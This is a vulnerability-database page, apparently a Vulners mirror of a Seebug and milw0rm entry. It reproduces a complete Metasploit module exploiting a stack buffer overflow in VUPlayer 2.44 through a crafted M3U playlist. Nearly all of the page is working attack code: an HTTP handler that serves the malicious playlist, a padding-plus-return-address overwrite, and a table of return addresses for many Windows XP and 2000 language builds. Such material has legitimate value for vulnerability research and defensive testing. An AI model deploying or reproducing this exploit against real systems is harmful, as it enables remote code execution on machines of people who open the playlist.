Lucene search
K

VUPlayer <= 2.44 - (.M3U UNC Name) Buffer Overflow Exploit (meta)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 32 Views

VUPlayer 2.44 M3U UNC Name Buffer Overflow Exploi

Code

                                                require &#39;msf/core&#39;

module Msf

class Exploits::Windows::Browser::VUPlayer_M3U &#60; Msf::Exploit::Remote

	include Exploit::Remote::HttpServer::Html

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;VUPlayer &#60;= 2.44 M3U UNC Name Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
				This module exploits a stack overflow in VUPlayer 2.44 and lower. 
				The vulnerability is caused due to a boundary error within 
				the parsing of playlists containing an overly entries.
				After overwriting EIP with our return address, ESP stores our exploit.
				This module uses the M3U file format.  Original Discovery was by Greg Linares
				Expanders wrote the first PoC in C format. 
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;        =&#62; 
				[
					&#39;Greg Linares&#39;,	# initial discovery and this metasploit module
					&#39;Expanders&#39;, # wrote the original POC code
				],
			&#39;Version&#39;        =&#62; &#39;$Revision: 1.0.0 $&#39;,
			&#39;References&#39;     =&#62; 
				[
					[ &#39;Email&#39;, &#39;[email protected]&#39;],
					[ &#39;Email&#39;, &#39;[email protected]&#39;],
	
				],

			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;thread&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 800,
					&#39;BadChars&#39; =&#62; &#34;\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40&#34;,
					&#39;EncoderType&#39; =&#62; Msf::Encoder::Type::AlphanumUpper,
				},
			&#39;Platform&#39; =&#62; &#39;win&#39;,
			&#39;Targets&#39;  =&#62;
				[
					[ &#39;Universal v2.44 and Lower - Bass.dll&#39;,	{ &#39;Ret&#39; =&#62; 0x10010c3b } ],
					[ &#39;Windows XP Pro SP2 English&#39;,			{ &#39;Ret&#39; =&#62; 0x77db41bc } ],
					[ &#39;Windows 2003 SP0 and SP1 English&#39;,		{ &#39;Ret&#39; =&#62; 0x77d74adc } ],
					[ &#39;Windows 2000 Pro English SP4&#39;,		{ &#39;Ret&#39; =&#62; 0x77e14c29 } ],
					[ &#39;Windows XP Pro SP2 French&#39;,			{ &#39;Ret&#39; =&#62; 0x77d8519f } ],
					[ &#39;Windows XP Pro SP2 German&#39;,			{ &#39;Ret&#39; =&#62; 0x77d873a0 } ],
					[ &#39;Windows XP Pro SP2 Italian&#39;,			{ &#39;Ret&#39; =&#62; 0x77d873a0 } ],
					[ &#39;Windows XP Pro SP2 Spainish&#39;,		{ &#39;Ret&#39; =&#62; 0x77d9932f } ],
					[ &#39;Windows XP Pro SP2 Dutch&#39;,			{ &#39;Ret&#39; =&#62; 0x77d873a0 } ],
					[ &#39;Windows XP Pro SP2 Polish&#39;,			{ &#39;Ret&#39; =&#62; 0x77d873a0 } ],
					[ &#39;Windows 2000 Pro French SP4&#39;,		{ &#39;Ret&#39; =&#62; 0x77e04c29 } ],
					[ &#39;Windows 2000 Pro Italian SP4&#39;,		{ &#39;Ret&#39; =&#62; 0x77e04c29 } ],
					[ &#39;Windows 2000 Pro German SP4&#39;,		{ &#39;Ret&#39; =&#62; 0x77e04c29 } ],
					[ &#39;Windows 2000 Pro Polish SP4&#39;,		{ &#39;Ret&#39; =&#62; 0x77e04c29 } ],
					[ &#39;Windows 2000 Pro Dutch SP4&#39;,			{ &#39;Ret&#39; =&#62; 0x77e04c29 } ],
					[ &#39;Windows 2000 Pro Spainish SP4&#39;,		{ &#39;Ret&#39; =&#62; 0x77e04c29 } ],
					[ &#39;Windows 2000 Server French SP4&#39;,		{ &#39;Ret&#39; =&#62; 0x77df4c29 } ],
					[ &#39;Windows 2000 Server Italian SP4&#39;,		{ &#39;Ret&#39; =&#62; 0x77df4c29 } ],
					[ &#39;Windows 2000 Server Chineese SP4&#39;,		{ &#39;Ret&#39; =&#62; 0x77df4c29 } ],

				
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;DisclosureDate&#39; =&#62; &#39;Nov 29 2006&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))
	end

	def autofilter
		false
	end
	
	def on_request_uri(client, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(client)) == nil)
	
		title 	=  Rex::Text.rand_text_alpha_upper(8)


		sploit =  Rex::Text.rand_text_alpha_upper(1012) + [ target.ret ].pack(&#39;V&#39;)  
		sploit &#60;&#60; payload.encoded

		# Build the PLS Exploit
		content =  &#34;#EXTM3U\r\n#EXTINF:8,#{title}&#34;
		content &#60;&#60; &#34;\r\n&#34; + sploit
		content &#60;&#60; &#34;\r\n&#34;
		

		print_status(&#34;Sending exploit to #{client.peerhost}:#{client.peerport}...&#34;)

		# Transmit the response to the client
		send_response(client, content)
	end

end
end

# milw0rm.com [2006-11-30]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
32